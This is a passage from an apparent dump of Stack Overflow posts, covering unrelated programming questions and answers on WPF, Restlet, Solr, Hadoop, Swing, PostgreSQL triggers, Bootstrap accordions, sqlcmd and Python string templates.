CanExecuteChanged; public void NotifyCanExecuteChanged(object sender) { if (CanExecuteChanged != null) CanExecuteChanged(sender, EventArgs.Empty); } public bool CanExecute(object parameter) { return canExecuteMethod != null &amp;&amp; parameter is T ? canExecuteMethod((T)parameter) : true; } public void Execute(object parameter) { if (executeMethod != null &amp;&amp; parameter is T) executeMethod((T)parameter); } } } </code></pre> <p>XAML:</p> <pre><code> &lt;Window x:Class="WpfApplication2.MainWindow" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:WpfApplication2" Title="MainWindow" Height="350" Width="525" DataContext="{Binding RelativeSource={RelativeSource Self}}"&gt; &lt;Window.Resources&gt; &lt;local:MyItems x:Key="myItems"&gt; &lt;local:MyItem Name="Item 1" /&gt; &lt;local:MyItem Name="Item 2" /&gt; &lt;local:MyItem Name="Item 3" /&gt; &lt;/local:MyItems&gt; &lt;Style TargetType="{x:Type ListBoxItem}"&gt; &lt;Setter Property="OverridesDefaultStyle" Value="True" /&gt; &lt;Setter Property="Template"&gt; &lt;Setter.Value&gt; &lt;ControlTemplate TargetType="{x:Type ListBoxItem}"&gt; &lt;ContentPresenter Margin="0,0,0,4" /&gt; &lt;/ControlTemplate&gt; &lt;/Setter.Value&gt; &lt;/Setter&gt; &lt;/Style&gt; &lt;Storyboard x:Key="fadeIn"&gt; &lt;DoubleAnimation Duration="0:0:0.2" Storyboard.TargetName="controlBox" Storyboard.TargetProperty="Opacity" To="1" /&gt; &lt;/Storyboard&gt; &lt;Storyboard x:Key="fadeOut"&gt; &lt;DoubleAnimation Duration="0:0:0.2" Storyboard.TargetName="controlBox" Storyboard.TargetProperty="Opacity" To="0" /&gt; &lt;/Storyboard&gt; &lt;/Window.Resources&gt; &lt;Grid&gt; &lt;ListBox ItemsSource="{StaticResource myItems}"&gt; &lt;ListBox.ItemTemplate&gt; &lt;DataTemplate&gt; &lt;Border Margin="5" Padding="5" BorderBrush="Blue" BorderThickness="1"&gt; &lt;Border.Triggers&gt; &lt;EventTrigger RoutedEvent="MouseEnter"&gt; &lt;BeginStoryboard Storyboard="{StaticResource fadeIn}"&gt; &lt;/BeginStoryboard&gt; &lt;/EventTrigger&gt; &lt;EventTrigger RoutedEvent="MouseLeave"&gt; &lt;BeginStoryboard Storyboard="{StaticResource fadeOut}"&gt; &lt;/BeginStoryboard&gt; &lt;/EventTrigger&gt; &lt;/Border.Triggers&gt; &lt;Grid&gt; &lt;Grid.ColumnDefinitions&gt; &lt;ColumnDefinition Width="*" /&gt; &lt;ColumnDefinition Width="Auto" /&gt; &lt;/Grid.ColumnDefinitions&gt; &lt;TextBlock Grid.Column="0" Text="{Binding Name}" /&gt; &lt;StackPanel Grid.Column="1" x:Name="controlBox" Opacity="0"&gt; &lt;Button Command="{Binding DataContext.DeleteCommand, RelativeSource={RelativeSource Mode=FindAncestor, AncestorType={x:Type local:MainWindow}}}" CommandParameter=" {Binding}"&gt;Delete&lt;/Button&gt; &lt;/StackPanel&gt; &lt;/Grid&gt; &lt;/Border&gt; &lt;/DataTemplate&gt; &lt;/ListBox.ItemTemplate&gt; &lt;/ListBox&gt; &lt;/Grid&gt; &lt;/Window&gt; </code></pre>
35574206	0	 <p>In fact, your issue is related to the content negotiation feature of HTTP (Conneg). This leverages two headers:</p> <ul> <li><code>Content-Type</code>: the format of the text payload of a request or a response. In your case, this header tells to the client the structure of the data you return.</li> <li><code>Accept</code>: the format of the text payload you expect in the response. This header is used within requests and is automatically set by the browser according to what it supports. The server is responsible of taking into account this header to return the supported content.</li> </ul> <p>See this article for more details:</p> <ul> <li>Understanding HTTP content negotiation: <a href="http://restlet.com/blog/2015/12/10/understanding-http-content-negotiation/" rel="nofollow">http://restlet.com/blog/2015/12/10/understanding-http-content-negotiation/</a></li> </ul> <p>Restlet provides out of the box content negotiation. I mean you return a text, it will automatically set the <code>Content-Type</code> header in the response to <code>text/plain</code>:</p> <pre><code>@Get public String represent(){ return "Hello World"; } </code></pre> <p>You have completely the hand if you want return another content type. Here is a sample:</p> <pre><code>@Get public Representation represent() { return new StringRepresentation( "&lt;tag&gt;Hello World&lt;/tag&gt;", MediaType.APPLICATION_XML); } </code></pre> <p>You can also define a parameter at the <code>@Get</code> level to take into account the provided <code>Accept</code> header:</p> <pre><code>@Get('xml') public Representation represent() { return new StringRepresentation( "&lt;tag&gt;Hello World&lt;/tag&gt;", MediaType.APPLICATION_XML); } @Get('json') public Representation represent() { return new StringRepresentation( "{ \"message\": \"Hello World\" }", MediaType.APPLICATION_JSON); } // By default - if nothing matches above @Get public Representation represent() { return new StringRepresentation( "Hello World", MediaType.PLAIN_TEXT); } </code></pre> <p>Another thing is that Restlet allows to leverage beans directly at the level of server resource methods instead of <code>String</code> or <code>Representation</code>. This corresponds to the converter feature. To use it, you need to register a converter. For example, simply add the jar file (org.restlet.ext.jackson with dependencies) from the Jackson extension of Restlet. A converter based of Jackson will be automatically registered. This way text payload will be converter to bean and bean to text.</p> <p>Now you will be able to use something like that:</p> <pre><code>@Get('json') public Message represent() { Message message = new Message(); message.setMessage("Hello world"); return message; } </code></pre> <p>based on a <code>Message</code> class you create:</p> <pre><code>public class Message { private String message; public String getMessage() { return this.message; } public void setMessage(String message) { this.message = message; } } </code></pre>
10847039	0	 <p>Here is the step by step procedure to get you started:</p> <p><strong>Step 1:</strong> Download Solr. It's just a zip file.</p> <p><strong>Step 2:</strong> Copy from your <code>SOLR_HOME_DIR/dist/apache-solr-1.3.0.war</code> to your tomcat webapps directory: <code>$CATALINA_HOME/webapps/solr.war</code> – Note the war file name change. That’s important.</p> <p><strong>Step 3:</strong> Create your solr home directory at a location of your choosing. This is where the configuration for that solr install resides. The easiest way to do this is to copy the <code>SOLR_HOME_DIR/examples/solr</code> directory to wherever it is you want your solr home container to be. Say place it in <code>C:\solr</code>.</p> <p><strong>Step 4:</strong> Hope you have set your environment variables, if not then please set <code>JAVA_HOME</code>, <code>JRE_HOME</code>, <code>CATALINA_OPTS</code>, <code>CATALINA_HOME</code>. Note that <code>CATALINA_HOME</code> refers to your Tomcat directory &amp; <code>CATALINA_OPTS</code> refers to the amount of heap memory you want to give to your Solr.</p> <p><strong>Step 5:</strong> Start tomcat. Note this is only necessary to allow tomcat to unpack your war file. If you look under <code>$CATALINA_HOME/webapps</code> there should now be a solr directory.</p> <p><strong>Step 6:</strong> Stop tomcat</p> <p><strong>Step 7:</strong> Go into that solr directory and edit <code>WEB-INF/web.xml</code>. Scroll down until you see an entry that looks like this: </p> <pre><code>&lt;!-- People who want to hardcode their "Solr Home" directly into the WAR File can set the JNDI property here... --&gt; &lt;!-- &lt;env-entry&gt; &lt;env-entry-name&gt;solr/home&lt;/env-entry-name&gt; &lt;env-entry-value&gt;/Path/To/My/solr/Home/solr/&lt;/env-entry-value&gt; &lt;env-entry-type&gt;java.lang.String&lt;/env-entry-type&gt; &lt;/env-entry&gt; --&gt; </code></pre> <p>Set your Solr home (for example: <code>C:\solr</code>) and uncomment the env entry.</p> <p><strong>Step 8:</strong> Start Tomcat again, and things should be going splendidly. You should be able to verify that solr is running by trying the url <code>http://localhost:8080/solr/admin/</code>.</p> <p>The other answers here are good enough to get you integrate Solr with your ASP.Net &amp; it should be pretty simple as Solr exposes HTTP.</p>
28513071	0	 <p>Try changing this line:</p> <pre><code>RewriteCond %{QUERY_STRING} ^_escaped_fragment_=/?(.*)$ </code></pre> <p>to</p> <pre><code>RewriteCond %{QUERY_STRING} ^_escaped_fragment_=/?([^/]+(?:/[^/]+|)) </code></pre> <p>So the regex will only attempt to capture as many as 2 virtual paths.</p>
11647017	0	 <p>try this</p> <pre><code> header('Location: '.$nick.''); </code></pre>
19267010	0	 <p>If you want a really real-time(around 200ms) response for your search application, for both the first time search query response and further suggested search response, Hadoop is not a good choice, not even Hive, HBase, or even Impala (or Apache Drill, Google Dremel like system). </p> <p>Hadoop is a batch processing system which is good for write once, read multiple times use cases. And the strength of it is good at scalability and I/O throuput. The trend I saw is that many organizations are using that as a data warehouse for offline data mining and BI analysis purpose as a replacement for data warehosue based on relational databases.</p> <p>Hive and HBase all provides extra features on top of Hadoop, but neither of those could possibly reach 200ms real time for average complex query workload.</p> <p>Check the high level view of how 'real-time' each possible solution can really reach, on <a href="http://incubator.apache.org/drill/" rel="nofollow">Apache Drill</a> homepage. CloudEra Impala, or Apache Drill, which borrows the idea from Google Dremel, have the intention to enhance the query speed on top of Hadoop by doing query optimization, column based storage, massive parallelism of I/O. I believe these 2 are still in early stage to achieve the goals they claim. Some <a href="http://architects.dzone.com/articles/meet-impala-open-source-real" rel="nofollow">initial performance benchmarking result of Impala</a> I found.</p> <p>If you decide to go with Hadoop or related solution stack, there are possible ways to load data from MySQL to Hadoop using <a href="http://sqoop.apache.org/" rel="nofollow">Sqoop</a> or other customized data load applications leveraging Hadoop Distributed File System API. But if you will have new data coming into MySQL time to time, then you need to schedule a job to run periodically to do delta load from MySQL to Hadoop. </p> <p>On the other hand, the workload to build a Hadoop cluster and find or build suitable data loading tool from MySQL to Hadoop might be a huge workload. Also you need to find a suitable extra layer for runtime data access and build code around that, no mater Impala or other things. To solve your own problem, it's probably better to build your own customized solution, like using in memory cache for hot records with the meta data in your database, along with some index mechanism to quickly locate the data you need for suggested search query calculation. If the memory on one machine cannot hold enough records, a memory cache grid or cluster component comes in handy like <a href="http://memcached.org/" rel="nofollow">Memcached</a> or Reddis, <a href="http://ehcache.org/" rel="nofollow">EhCache</a>, etc. </p>
40665526	0	 <p>Not easily, the default size of a JLabel, JTextArea etc. is delegated to the "look and feel", this determines the size using the font metrics of the font, the size and the text. </p> <p>Thefore bigger font, bigger buttons.</p> <p>I'd advise you to just accept this, and use a layout manager that deals with the nicely... </p> <p>i.e. don't assume precise layout, instead use something grid-based with enough free-space so that font size can vary.</p> <p>If you're still desperate to do this you could override the preferred size of the controls with the following, although this pre-supposes you're using a layout manager that respects these hints.</p> <pre><code>public static void main(String [] args) { JFrame frame = new JFrame(); JTextField small = new JTextField("small"); JTextField big = new JTextField("big"); big.setFont(big.getFont().deriveFont(Font.BOLD, 40)); big.setPreferredSize(new Dimension(123, 20)); big.setMaximumSize(new Dimension(123, 20)); frame.setLayout(new FlowLayout()); frame.add(small); frame.add(big); frame.setVisible(true); } </code></pre>
151059	0	 <p>you're telling the system that whatever work would have been done in the finalizer has already been done, so the finalizer doesn't need to be called. From the .NET docs:</p> <blockquote> <p>Objects that implement the IDisposable interface can call this method from the IDisposable.Dispose method to prevent the garbage collector from calling Object.Finalize on an object that does not require it.</p> </blockquote> <p>In general, most any Dispose() method should be able to call GC.SupressFinalize(), because it should clean up everything that would be cleand up in the finalizer.</p> <p>SupressFinalize is just something that provides an optimization that allows the system to not bother queing the object to the finalizer thread. A properly written Dispose()/finalizer should work properly with or without a call to GC.SupressFinalize().</p>
15594360	0	 <p>On a quick glance, I see a couple of instances of:</p> <pre><code>IF NEW.id_club = NULL ... </code></pre> <p>There may be more problems, I stopped looking there.<br> Nothing is <strong><em>ever</em></strong> the same as <code>NULL</code>. Use instead:</p> <pre><code>IF NEW.id_club <b>IS</b> NULL ...</code></pre> <p>Make sure you understand the nature of a <code>NULL</code> value, before you go on writing complex triggers. Basics first. <a href="http://www.postgresql.org/docs/current/interactive/functions-comparison.html" rel="nofollow">Start in the manual here</a>.</p>
38121725	0	bootstrap accordion content very long <p>I have bootatrsp accordion in my site. in one accordion panel I have a lot of content. when I scroll down to read the rest of the content and then click the next panel, then the one above(wich is open) closes and move up. the rest of the panels move up with it and now I can't see the relevat content because it scrolled up. how can I make the open panel of the accordion to always be in viewport of the screen no metter which panel i clicked.</p> <p>here is the code i used:</p> <pre><code> &lt;div class="row divAccordion" id="referNav"&gt; &lt;div id="accordion" role="tablist" aria-multiselectable="true"&gt; &lt;div class="panel panel-default visible-True"&gt; https://box.2beweb.chttps://jsfiddle.net/tartash/y5nc0u4w/3/# &lt;a name="collapseOne"&gt;&lt;/a&gt; &lt;div class="panel-heading" role="tab" id="headingOne"&gt; &lt;h4 class="panel-title"&gt; &lt;a id="referLink1" class="openPanel" data-toggle="collapse" data-parent="#accordion" href="#collapseOne" aria-expanded="true" aria-controls="collapseOne"&gt;&lt;i class="fa fa-plus-circle fa-minus-circle"&gt;&lt;/i&gt; Lorem Ipsum &lt;/a&gt; &lt;/h4&gt; &lt;/div&gt; &lt;div id="collapseOne" class="panel-collapse collapse in" role="tabpanel" aria-labelledby="headingOne"&gt; &lt;div&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus ut orci magna. Pellentesque sagittis nibh in venenatis dapibus. Duis vitae accumsan enim, nec viverra mauris. Curabitur posuere, odio id sagittis consectetur, quam sapien cursus eros, a consequat enim lacus a dolor. Sed urna augue, ullamcorper sed urna id, hendrerit tristique mi. Mauris id lorem a nisi viverra venenatis et ac ligula. Aenean varius neque sed lectus elementum, in fermentum metus commodo. Fusce congue erat et elit fringilla, at feugiat dolor luctus. Nulla facilisi. &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;!-------------------------------------------------------------------&gt; &lt;div class="panel panel-default visible-True"&gt; &lt;a name="collapseTwo"&gt;&lt;/a&gt; &lt;div class="panel-heading" role="tab" id="headingTwo"&gt; &lt;h4 class="panel-title"&gt; &lt;a id="referLink2" class="collapsed openPanel" data-toggle="collapse" data-parent="#accordion" href="#collapseTwo" aria-expanded="false" aria-controls="collapseTwo"&gt;&lt;i class="fa fa-plus-circle"&gt;&lt;/i&gt; Duis &lt;/a&gt; &lt;/h4&gt; &lt;/div&gt; &lt;div id="collapseTwo" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingTwo"&gt; Duis tempor molestie maximus. Phasellus aliquet hendrerit ante quis condimentum. Vestibulum scelerisque, nibh in ornare tincidunt, arcu mauris rhoncus lectus, vel blandit leo diam eget dui. Nunc sed porta libero, ac interdum urna. &lt;/div&gt; &lt;/div&gt; &lt;!-------------------------------------------------------------------&gt; &lt;div class="panel panel-default visible-False"&gt; &lt;a name="collapseThree"&gt;&lt;/a&gt; &lt;div class="panel-heading" role="tab" id="headingThree"&gt; &lt;h4 class="panel-title"&gt; &lt;a id="referLink3" class="collapsed openPanel" data-toggle="collapse" data-parent="#accordion" href="#collapseThree" aria-expanded="false" aria-controls="collapseThree"&gt;&lt;i class="fa fa-plus-circle"&gt;&lt;/i&gt; Aliquam &lt;/a&gt; &lt;/h4&gt; &lt;/div&gt; &lt;div id="collapseThree" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingThree"&gt; Aliquam at lorem id nibh blandit feugiat. Curabitur fermentum, ligula a aliquet malesuada, augue ligula feugiat odio, quis lobortis nisl tortor a nisl. Etiam vitae lacus sit amet odio placerat faucibus. Suspendisse orci diam, mollis eget interdum quis, tincidunt non lorem. Quisque imperdiet, tellus et iaculis lobortis, massa tortor ullamcorper neque, posuere sollicitudin massa risus commodo tellus. Phasellus a tristique nibh. Sed aliquet quam velit. Sed lorem mi, sodales vitae varius quis, pretium vitae enim. Donec eu congue eros. Praesent quis felis neque. Sed volutpat volutpat sodales. Cras nulla orci, fermentum et urna nec, tincidunt suscipit arcu. Maecenas imperdiet ornare commodo. Praesent luctus tellus vel blandit pretium. Donec in dolor ut lectus vehicula efficitur vel nec leo. Proin sit amet fermentum elit. &lt;/div&gt; &lt;/div&gt; &lt;!-------------------------------------------------------------------&gt; &lt;div class="panel panel-default visible-False"&gt; &lt;a name="collapseFour"&gt;&lt;/a&gt; &lt;div class="panel-heading" role="tab" id="headingFour"&gt; &lt;h4 class="panel-title"&gt; &lt;a id="referLink4" class="collapsed openPanel" data-toggle="collapse" data-parent="#accordion" href="#collapseFour" aria-expanded="false" aria-controls="collapseFour"&gt;&lt;i class="fa fa-plus-circle"&gt;&lt;/i&gt; Lorem ipsum dolor &lt;/a&gt; &lt;/h4&gt; &lt;/div&gt; &lt;div id="collapseFour" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingFour"&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vivamus ut orci magna. Pellentesque sagittis nibh in venenatis dapibus. Duis vitae accumsan enim, nec viverra mauris. Curabitur posuere, odio id sagittis consectetur, quam sapien cursus eros, a consequat enim lacus a dolor. Sed urna augue, ullamcorper sed urna id, hendrerit tristique mi. Mauris id lorem a nisi viverra venenatis et ac ligula. Aenean varius neque sed lectus elementum, in fermentum metus commodo. Fusce congue erat et elit fringilla, at feugiat dolor luctus. Nulla facilisi. Duis tempor molestie maximus. Phasellus aliquet hendrerit ante quis condimentum. Vestibulum scelerisque, nibh in ornare tincidunt, arcu mauris rhoncus lectus, vel blandit leo diam eget dui. Nunc sed porta libero, ac interdum urna. Fusce quis libero eu neque congue gravida et vitae mi. Mauris egestas ex eu neque consequat suscipit. In mattis diam non metus luctus rhoncus. Donec elementum consectetur ipsum, vel fringilla leo ullamcorper sit amet. Sed vestibulum pretium rutrum. Pellentesque hendrerit ipsum magna, aliquam vestibulum justo varius in. Proin iaculis velit felis, at posuere nunc mattis quis. Mauris mattis lectus in tempus volutpat. Curabitur sed nibh vel tellus aliquet faucibus. Maecenas sit amet enim ullamcorper, fringilla odio vitae, elementum metus. Quisque at justo vitae lectus porttitor pretium. Aliquam at lorem id nibh blandit feugiat. Curabitur fermentum, ligula a aliquet malesuada, augue ligula feugiat odio, quis lobortis nisl tortor a nisl. Etiam vitae lacus sit amet odio placerat faucibus. Suspendisse orci diam, mollis eget interdum quis, tincidunt non lorem. Quisque imperdiet, tellus et iaculis lobortis, massa tortor ullamcorper neque, posuere sollicitudin massa risus commodo tellus. Phasellus a tristique nibh. Sed aliquet quam velit. Sed lorem mi, sodales vitae varius quis, pretium vitae enim. Donec eu congue eros. Praesent quis felis neque. Sed volutpat volutpat sodales. Cras nulla orci, fermentum et urna nec, tincidunt suscipit arcu. Maecenas imperdiet ornare commodo. Praesent luctus tellus vel blandit pretium. Donec in dolor ut lectus vehicula efficitur vel nec leo. Proin sit amet fermentum elit. Integer luctus dapibus sagittis. Vestibulum eget lectus id felis suscipit hendrerit ullamcorper vel nisl. Duis facilisis ligula eget ultrices fringilla. Etiam volutpat luctus nulla quis dictum. Sed consequat lorem id magna efficitur rhoncus. Donec massa sem, mattis in massa non, fringilla ultricies nisi. Proin aliquet rutrum lectus id tempus. Donec justo lorem, blandit ac hendrerit vitae, dictum in ligula. Sed ut mollis sem, eu consequat turpis. Aliquam ultrices risus vel nulla finibus, quis cursus tellus suscipit. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Fusce non est lacus. Sed sed ultricies neque. Morbi nunc dui, varius bibendum erat non, semper tincidunt nulla. Etiam viverra feugiat arcu nec tempor. Quisque tempor vitae arcu non euismod. Nullam eu sem id quam pharetra blandit quis ut massa. Quisque molestie scelerisque lacus in ultricies. Nam venenatis scelerisque nunc, sed pellentesque tortor ultrices vel. Curabitur ac finibus lacus. Morbi bibendum urna interdum, ullamcorper sapien vitae, molestie orci. Vestibulum viverra mollis purus, sed mattis metus convallis sed. Quisque ipsum nisi, tincidunt pretium commodo et, vestibulum a tortor. Donec imperdiet diam non nulla dictum malesuada. Maecenas pellentesque dolor vel erat hendrerit pellentesque. Nulla in eros et nunc varius dapibus. Aliquam pharetra ornare facilisis. Phasellus pharetra mauris vel felis porttitor efficitur eget nec sem. Etiam vel fringilla turpis. Suspendisse potenti. Ut fringilla feugiat lacinia. Etiam mattis mauris velit, et dictum ex scelerisque et. &lt;/div&gt; &lt;/div&gt; &lt;!-------------------------------------------------------------------&gt; &lt;div class="panel panel-default visible-False"&gt; &lt;a name="collapseFive"&gt;&lt;/a&gt; &lt;div class="panel-heading" role="tab" id="headingFive"&gt; &lt;h4 class="panel-title"&gt; &lt;a id="referLink5" class="collapsed openPanel" data-toggle="collapse" data-parent="#accordion" href="#collapseFive" aria-expanded="false" aria-controls="collapseFive"&gt;&lt;i class="fa fa-plus-circle"&gt;&lt;/i&gt; Nullam eu sem &lt;/a&gt; &lt;/h4&gt; &lt;/div&gt; &lt;div id="collapseFive" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingFive"&gt; Nullam eu sem id quam pharetra blandit quis ut massa. Quisque molestie scelerisque lacus in ultricies. Nam venenatis scelerisque nunc, sed pellentesque tortor ultrices vel. Curabitur ac finibus lacus. Morbi bibendum urna interdum, ullamcorper sapien vitae, molestie orci. Vestibulum viverra mollis purus, sed mattis metus convallis sed. Quisque ipsum nisi, tincidunt pretium commodo et, vestibulum a tortor. Donec imperdiet diam non nulla dictum malesuada. Maecenas pellentesque dolor vel erat hendrerit pellentesque. Nulla in eros et nunc varius dapibus. Aliquam pharetra ornare facilisis. Phasellus pharetra mauris vel felis porttitor efficitur eget nec sem. Etiam vel fringilla turpis. Suspendisse potenti. Ut fringilla feugiat lacinia. Etiam mattis mauris velit, et dictum ex scelerisque et. &lt;/div&gt; &lt;/div&gt; &lt;!-------------------------------------------------------------------&gt; &lt;div class="panel panel-default visible-True"&gt; &lt;a name="collapseSix"&gt;&lt;/a&gt; &lt;div class="panel-heading" role="tab" id="headingSix"&gt; &lt;h4 class="panel-title"&gt; &lt;a id="referLink6" class="collapsed openPanel" data-toggle="collapse" data-parent="#accordion" href="#collapseSix" aria-expanded="false" aria-controls="collapseSix"&gt;&lt;i class="fa fa-plus-circle"&gt;&lt;/i&gt; Integer luctus &lt;/a&gt; &lt;/h4&gt; &lt;/div&gt; &lt;div id="collapseSix" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingSix"&gt; Integer luctus dapibus sagittis. Vestibulum eget lectus id felis suscipit hendrerit ullamcorper vel nisl. Duis facilisis ligula eget ultrices fringilla. Etiam volutpat luctus nulla quis dictum. Sed consequat lorem id magna efficitur rhoncus. Donec massa sem, mattis in massa non, fringilla ultricies nisi. Proin aliquet rutrum lectus id tempus. Donec justo lorem, blandit ac hendrerit vitae, dictum in ligula. Sed ut mollis sem, eu consequat turpis. Aliquam ultrices risus vel nulla finibus, quis cursus tellus suscipit. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Fusce non est lacus. Sed sed ultricies neque. Morbi nunc dui, varius bibendum erat non, semper tincidunt nulla. Etiam viverra feugiat arcu nec tempor. Quisque tempor vitae arcu non euismod. &lt;/div&gt; &lt;/div&gt; &lt;!-------------------------------------------------------------------&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>thank you in advance </p>
29892790	0	 <p>This is happening because in HTML you have multiple textareas with same <code>id</code> attribute that is <code>txtcomment</code>. You should try giving each textarea, comments anchor tag a unique id.</p> <p>use <code>id="txtComment.'.$row["id"].'"</code> and <code>id="leavecomment.'.$row["id"].'"</code></p> <blockquote> <p>NOTE: when an HTML page have multiple DOM element with same <code>id</code>, it will traverse through the last one and return the last occurrence of element.</p> </blockquote>
13275812	0	How to get, set and select elements with data attributes? <p>I'm having some trouble with data-attributes, I can't get anything to work for some reason so I must be doing something wrong:</p> <p>Set:</p> <pre><code>$('#element').data('data1', '1'); //Actually in my case the data is been added manually </code></pre> <p>Does that make a difference?</p> <p>Get:</p> <pre><code>$('#element').data('data1'); </code></pre> <p>Select:</p> <pre><code>$('#element[data1 = 1]') </code></pre> <p>None of this works for me, am I making this up or how is it?</p>
7015264	0	I have an encrypted value, why wont it go into the varbinary field? <p>I just need to fix a couple of bad records. I am able to swap the month with the year and re-encrypt. But when I try and put it into the MS SQL SERVER varbinary field again it is getting truncated. What is the correct way to update the table with the new encrypted values?</p> <pre><code>Conn.Open strDSN Dim sql : sql = "Select * FROM tmpRefill WHERE CC &lt;&gt; 'NULL' AND CustId = 9944" rs.Open sql, Conn Dim custId, email, cc, newCC, upSQL Do Until rs.EOF Response.Write rs("CustId") Response.Write("&lt;br /&gt;") Response.Write rs("email") Response.Write("&lt;br /&gt;") cc = EnCrypt(rs("CC")) Response.Write cc Response.Write("&lt;br /&gt;") cc = Split(cc,"-") newCC = cc(0) &amp; "-" &amp; cc(2) &amp; "-" &amp; cc(1) &amp; "-" &amp; cc(3) Response.Write newCC Response.Write("&lt;br /&gt;") newCC = EnCrypt(newCC) Response.Write newCC Response.Write("&lt;br /&gt;") Response.Write("&lt;br /&gt;&lt;br /&gt;") rs.MoveNext Loop upSQL = "UPDATE tmpRefill SET CC = CONVERT(VARBINARY(500), '" &amp; newCC &amp; "') WHERE CustId = 9944" Conn.Execute (upSQL) </code></pre> <p>The datatype on the table column is varbinary(500) so I dont understand why I have to convert it to insert it.</p>
8740204	0	 <p>Try <a href="http://jasarien.com/?p=428" rel="nofollow">SBJSON</a> to parse the JSON in objective-C.</p> <p>You can get the SBJSON from <a href="https://github.com/stig/json-framework" rel="nofollow">here</a></p>
37165143	0	 <p>Try processing the json data form the url using JsonSlulrper as follows:</p> <pre><code>def resp = new JsonSlurper().parseText(url.text) </code></pre> <p>Also in your HTML views/layouts, make sure you apply encoding:</p> <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; ........ </code></pre>
23367655	0	Parse all HTML code <p>I need to copy all HTML code on the page.</p> <p>I do so:</p> <pre><code>URL url = new URL(testurl); URLConnection connection = url.openConnection(); connection.connect(); Scanner in = new Scanner(connection.getInputStream()); while(in.hasNextLine()) { htmlText=htmlText+in.nextLine(); } in.close(); </code></pre> <p>But if the page is large, it takes a lot of time.</p> <p>Is there a faster method?</p>
32389637	0	 <p>Interface methods cannot have implementation before Java 8. Starting in Java 8 this is possible, but only with <a href="https://docs.oracle.com/javase/tutorial/java/IandI/defaultmethods.html" rel="nofollow">default methods</a> and static methods.</p> <blockquote> <p>In addition to default methods, you can define static methods in interfaces. (A static method is a method that is associated with the class in which it is defined rather than with any object. Every instance of the class shares its static methods.) </p> </blockquote> <p>You are probably looking for an <a href="https://docs.oracle.com/javase/tutorial/java/IandI/abstract.html" rel="nofollow">abstract class</a> which lets you have both <code>abstract</code> methods (methods that must be implemented by non-abstract subclasses) and normal methods that can be given implementation in the <code>abstract</code> class itself (subclasses have the option to override them of course).</p> <p>But I'm not sure if you want to use an abstract class or interface. Going by the class names, <code>Faculty</code> would have <code>Person</code>s, but I don't see why one should extend/implement the other. They seem to be different things. You might want to reconsider your design and also read this: <a href="http://stackoverflow.com/questions/2586389/when-best-to-use-an-interface-in-java">When best to use an interface in java</a></p>
2457248	0	 <p>After rereading my original post I see it looks confusing as hell... what I ended up doing was; creating a second method getUserRecords that got a 'flag', I call getUserRecords from my first, getUser method and return a new object type with the flag included in the new object.</p>
27028708	0	 <p>You can do this using scripting variable and using the <code>-v</code> option of <code>SQLCMD</code> utility. A small example from <a href="http://msdn.microsoft.com/en-us/library/ms188714.aspx" rel="nofollow"> MSDN Documentation</a></p> <p>Consider that the script file name is <code>testscript.sql</code>, <code>Col1</code> is a scripting variable; your SQL script look like</p> <pre><code>USE test; SELECT x.$(Col1) FROM Student x WHERE marks &lt; 5; </code></pre> <p>You can then specify the name of the column that you want returned by using the <code>-v</code> option like</p> <pre><code>sqlcmd -v Col1 = "FirstName" -i c:\testscript.sql </code></pre> <p>Which will resemble to below query</p> <pre><code>SELECT x.FirstName FROM Student x WHERE marks &lt; 5; </code></pre> <p><strong>EDIT:</strong></p> <p>If you just want to capture the output from your script file then you can use <code>-o</code> parameter and specify a outfile like</p> <pre><code>sqlcmd -v Col1 = "FirstName" -i c:\testscript.sql -o output.txt </code></pre>
27918243	0	 <p><code>List</code> implements <code>Iterable</code> and therefore is an <code>Iterable</code> (see <a href="https://api.dartlang.org/apidocs/channels/stable/dartdoc-viewer/dart:core.List" rel="nofollow">https://api.dartlang.org/apidocs/channels/stable/dartdoc-viewer/dart:core.List</a> just below the title)</p>
26546604	0	Winform viewing <p>Since I add an extra screen to my developpment laptop and set an extended desktop, the view of the forms change by the way it show in the picture below two form with same code in windows 8 <img src="https://i.stack.imgur.com/ipfl2.png" alt="Two winforms with same in windows 8"></p>
1336851	0	 <p>From python <a href="http://docs.python.org/library/string.html" rel="nofollow noreferrer">docs</a>:</p> <blockquote> <p>Advanced usage: you can derive subclasses of Template to customize the placeholder syntax, delimiter character, or the entire regular expression used to parse template strings. To do this, you can override these class attributes:</p> <ul> <li><p>delimiter – This is the literal string describing a placeholder introducing delimiter. The default value $. Note that this should not be a regular expression, as the implementation will call re.escape() on this string as needed.</p></li> <li><p>idpattern – This is the regular expression describing the pattern for non-braced placeholders (the braces will be added automatically as appropriate). The default value is the regular expression [_a-z][_a-z0-9]*.</p></li> </ul> </blockquote> <p>Example:</p> <pre><code>from string import Template class MyTemplate(Template): delimiter = '#' idpattern = r'[a-z][_a-z0-9]*' &gt;&gt;&gt; s = MyTemplate('#who likes $what') &gt;&gt;&gt; s.substitute(who='tim', what='kung pao') 'tim likes $what' </code></pre> <hr> <p>In python 3:</p> <blockquote> <p><em>New in version 3.2.</em></p> <p>Alternatively, you can provide the entire regular expression pattern by overriding the class attribute pattern. If you do this, the value must be a regular expression object with four named capturing groups. The capturing groups correspond to the rules given above, along with the invalid placeholder rule:</p> <ul> <li>escaped – This group matches the escape sequence, e.g. $$, in the default pattern.</li> <li>named – This group matches the unbraced placeholder name; it should not include the delimiter in capturing group.</li> <li>braced – This group matches the brace enclosed placeholder name; it should not include either the delimiter or braces in the capturing group.</li> <li>invalid – This group matches any other delimiter pattern (usually a single delimiter), and it should appear last in the regular expression.</li> </ul> </blockquote> <p>Example:</p> <pre><code>from string import Template import re class TemplateClone(Template): delimiter = '$' pattern = r''' \$(?: (?P&lt;escaped&gt;\$) | # Escape sequence of two delimiters (?P&lt;named&gt;[_a-z][_a-z0-9]*) | # delimiter and a Python identifier 